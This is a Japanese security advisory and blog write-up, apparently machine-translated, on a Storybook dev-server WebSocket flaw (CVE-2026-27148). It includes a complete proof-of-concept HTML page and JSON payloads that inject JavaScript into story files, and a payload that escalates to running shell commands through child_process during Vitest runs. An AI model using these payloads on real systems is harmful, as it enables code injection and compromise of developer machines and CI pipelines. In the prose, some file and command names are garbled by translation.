Aikido

ストーリーブックのWebSocketサーバーがサプライチェーン攻撃の標的となった経緯

執筆者
Robbe Verwilghen

ペンテスト 「Aikido 」ペンテスト 、脆弱性 発見しました。この脆弱性は、永続的なXSS攻撃、リモートコード実行、最悪の場合サプライチェーン侵害につながる可能性があります。 StorybookのWebSocketサーバーには認証やアクセス制御が存在しないため、開発サーバーが公的にアクセス可能な場合、攻撃者はユーザー操作を一切必要とせずにエクスプロイト できます。より一般的なローカル環境では、開発者がStorybook実行中に誤ったウェブサイトを訪問するだけで被害が発生します。

注意喚起: GHSA-mjf5-7g4m-gx5w 

CVE:CVE-2026-27148

CVSS:8.9 (高) 

Affected versions: Storybook >= 8.1.0 and < 10.2.10 

パッチ適用済みバージョン:7.6.23、8.6.17、9.1.19、10.2.10

脆弱性

Storybookは、メインアプリケーションの外でUIコンポーネントを独立して構築・テストするためのオープンソースフロントエンドワークショップです。Storybookの開発サーバーは、ストーリーの作成・編集機能を駆動するためにWebSocketsを利用しています。WebSocketエンドポイントは /ストーリーブックサーバーチャンネル ファイルシステムに書き込む2種類のメッセージを受け付けます: 新規ストーリーファイル作成リクエスト そして saveStoryRequest. どちらもディスク上のストーリーソースファイルを作成または変更します。

問題点:WebSocketサーバーには一切のアクセス制御が存在しない。認証も、セッション検証も、そして Origin 着信接続のヘッダーチェック。開発サーバーに到達可能な場合、誰でも接続してディスクへのファイル書き込みを開始できる。

問題は、WebSocketサーバーが着信接続のOriginヘッダーを検証しないことです。どのウェブサイトでもWebSocketを開くことができます。 ws://localhost:6006/storybook-server-channel そしてメッセージの送信を開始する。認証も、発信元確認も、質問も一切なし。

これにより、2つの異なる攻撃シナリオが生じます。Storybook開発サーバーが公開されている場合(デザインレビューやステークホルダー向けデモで一般的な設定)、インターネット上の認証されていない攻撃者は、ユーザーの操作なしにWebSocketエンドポイントに直接接続し、エクスプロイト 。開発サーバーがローカルで実行されている場合、攻撃者は開発者に悪意のあるWebページを訪問させる必要があり、そのページがクロスオリジンWebSocket接続を開きます。 ws://localhost:6006/storybook-server-channel 彼らの代わりに。

脆弱なコードは2つのファイルに存在します:

両者とも委任する 新しいストーリーファイルを取得する.ts 導かれる 拡張子を除いた基本名 ユーザー提供の コンポーネントファイルパス そしてそれを未検証のまま渡す タイプスクリプト.ts生成されたソースコードに直接補間される場所。

注入点: 新しいストーリーファイルを取得する.ts

const base = basename(componentFilePath); //"Button';alert(document.domain);var a='.tsx"
const extension = extname(componentFilePath); // ".tsx"
const basenameWithoutExtension = base.replace(extension, ''); // "Button';alert(document.domain);var a='"

シンク: タイプスクリプト.ts

const importName = data.componentIsDefaultExport
  ? await getComponentVariableName(data.basenameWithoutExtension)
  : data.componentExportName; // ← user-controlled, unvalidated

...

const importStatement = data.componentIsDefaultExport
  ? `import ${importName} from './${data.basenameWithoutExtension}'`
  : `import { ${importName} } from './${data.basenameWithoutExtension}'`; // ← injected here 

ディスクに書き込まれたファイル:

import type { Meta, StoryObj } from '@storybook/react-vite';

import { Button } from './Button-INJECTION_POINT-'; // ← injected here

const meta = {
  component: Button,
} satisfies Meta<typeof Button>;

export default meta;

type Story = StoryObj<typeof meta>;

export const Default: Story = {};

攻撃!悪意のあるウェブサイトからコードインジェクションへ

公開されているインスタンスの場合、悪用は極めて容易です:WebSocketエンドポイントに接続し、メッセージを送信するだけです。PoCページも不要、ソーシャルエンジニアリングも不要、ユーザーの操作も不要です。これは完全に自動化でき、インターネット上で公開されているStorybook開発インスタンスをスキャンする規模に拡張可能です。

ローカルインスタンスの場合、攻撃には追加の手順が1つ必要です:開発者が実行している 毛糸の物語 ローカルで。彼らは悪意のあるウェブページを訪問します。Slackチャネル内のリンクかもしれませんし、侵害されたドキュメントサイトかもしれません。そのページは静かにlocalhost:6006へのWebSocket接続を開き、細工されたメッセージを送信します:

{
  "type": "createNewStoryfileRequest",
  "args": [{
    "id": "xss_poc",
    "payload": {
      "componentFilePath": "src/stories/Button';alert(document.domain);var a='.tsx",
      "componentExportName": "Button",
      "componentIsDefaultExport": false,
      "componentExportCount": 1
    }
  }],
  "from": "preview"
}

注入された コンポーネントファイルパス 生成されたストーリーファイル内で文字列コンテキストを脱します。Storybookは新しい .stories.ts 攻撃者のJavaScriptが埋め込まれたファイルをディスクに保存する。開発者は何も気づかない。ポップアップも、確認ダイアログも、ブラウザの警告も一切表示されない。

ディスクに書き込まれたファイル:

import type { Meta, StoryObj } from '@storybook/react-vite';

import { Button } from './Button';alert(document.domain);var a= ''; // ← injected here

const meta = {
  component: Button,
} satisfies Meta<typeof Button>;

export default meta;

type Story = StoryObj<typeof meta>;

export const Default: Story = {};

会社情報 コンポーネントファイルパス フィールドは最も単純な注入ベクトルであるが、 コンポーネントエクスポート名 同じテンプレート位置に流れ込むとき コンポーネントがデフォルトエクスポートかどうか 偽である、メタブロック内のコンポーネント: プロパティおよび typeof 式を含む。

完全なPoCは単なるシンプルなHTMLページです:

<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
  <h1>Loading...</h1>
  <script>
    const ws = new WebSocket("ws://localhost:6006/storybook-server-channel");
    ws.onopen = () => {
      ws.send(JSON.stringify({
        type: "createNewStoryfileRequest",
        args: [{
          id: "xss_poc",
          payload: {
            componentFilePath: "src/stories/Button';alert(document.domain);var a='.tsx",
            componentExportName: "Button",
            componentIsDefaultExport: false,
            componentExportCount: 1
          }
        }],
        from: "preview"
      }));
    };
  </script>
</body>
</html>

以上です。ページにアクセスすると、開発者のマシンに改ざんされたストーリーファイルが保存されます。

エスカレーション!XSSからRCEへ

XSSだけでも既に懸念材料だが、ペイロードはソースファイルに永続化され、Storybookをレンダリングするあらゆるブラウザで実行される。しかし事態はさらに悪化する。

多くのチームは、ポータブルストーリーを使用してテストスイートの一部としてStorybookストーリーを実行しています。これらのテストがNode.js環境(例:実ブラウザではなくJSDOMを使用したVitest)で実行される場合、注入されたJavaScriptはサーバーサイドで実行され、システムへの完全なアクセス権限を持ちます:

{
  "type": "createNewStoryfileRequest",
  "args": [{
    "id": "rce_stealth",
    "payload": {
      "componentFilePath": "src/stories/Button';(typeof process!=='undefined'&&console.log('RCE_PROOF:',require('child_process').execSync('id').toString()));var a='.tsx",
      "componentExportName": "Button",
      "componentIsDefaultExport": false,
      "componentExportCount": 1
    }
  }],
  "from": "preview"
}

いつ npx vitest 手動で実行した場合、ファイル保存時にVS Code拡張機能によってトリガーされた場合、またはCI/CD 内で実行された場合のいずれにおいても、出力は以下のようになります:

RCE_PROOF:  uid=501(robbe) gid=20(staff) ...

その時点でゲームオーバーだ。攻撃者は開発者の環境またはCIパイプラインでコード実行権を獲得し、環境変数、認証情報、ファイルシステム、ネットワークへのアクセス権を掌握している。

サプライチェーンの観点

特に厄介なのは永続化モデルだ。ペイロードはソースファイルに直接書き込まれる。開発者が新たなストーリーファイルに気づかなければ、バージョン管理にコミットされてしまう。そこから先は:

  • 他の開発者が毒入りコードを取得し、ローカルで実行する
  • CI/CD テストを実行し、ペイロードをサーバーサイドで実行する
  • ストーリーブックがドキュメントとして展開される場合(一般的なパターン)、XSSはそれを閲覧するすべての人に影響を及ぼします
  • 共有コンポーネントライブラリは、それらを利用するすべての下流プロジェクトにペイロードを運ぶ

開発者がたまたまStorybookを実行している間に送信された1つのWebSocketメッセージが、開発ライフサイクル全体に波及する。

ブラウザの保護機能(というか、その欠如)

Chromeの最新バージョンでは、localhostへのクロスオリジンWebSocket接続に対する保護機能が追加されました(詳細はhttps://chromestatus.com/feature/5197681148428288を参照)。Firefoxにはこの機能がありません。したがって、チーム内にStorybookを実行しているFirefoxユーザーが1人でもいる場合、そのユーザーは攻撃対象となり得ます。

公開されている開発サーバーの場合、これらの制限は一切適用されません。攻撃者はブラウザを経由せずにWebSocketエンドポイントに直接接続します。オリジンチェックもCORSも、ブラウザの保護機能も一切介在しません。

対策

Storybookをパッチ適用済みバージョン(7.6.238.6.179.1.19または10.2.10)のいずれかに更新してください。この修正により、WebSocketサーバーにオリジン検証が追加されます。後続バージョンでは、Storybookはインジェクション攻撃を防ぐため、ストーリー名に対するサニタイズ処理も追加しています。

脆弱な機能はバージョン8.1で導入されましたが、予防措置としてパッチはバージョン7.xにバックポートされました。

タイムライン

  • 2026年2月6日: Aikido (AIペンテスト )により特定
  • 2026年2月6日:Storybookセキュリティチームに開示
  • 2026年2月25日:Storybook 7.6.23、8.6.17、9.1.19、10.2.10 で修正済み
  • 2026年2月25日: GHSA-mjf5-7g4m-gx5w公開
共有:

https://www.aikido.dev/blog/storybooks-websockets-attack

脅威ニュースをサブスクライブ

今日から無料で始めましょう。

無料で始める
CC不要

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。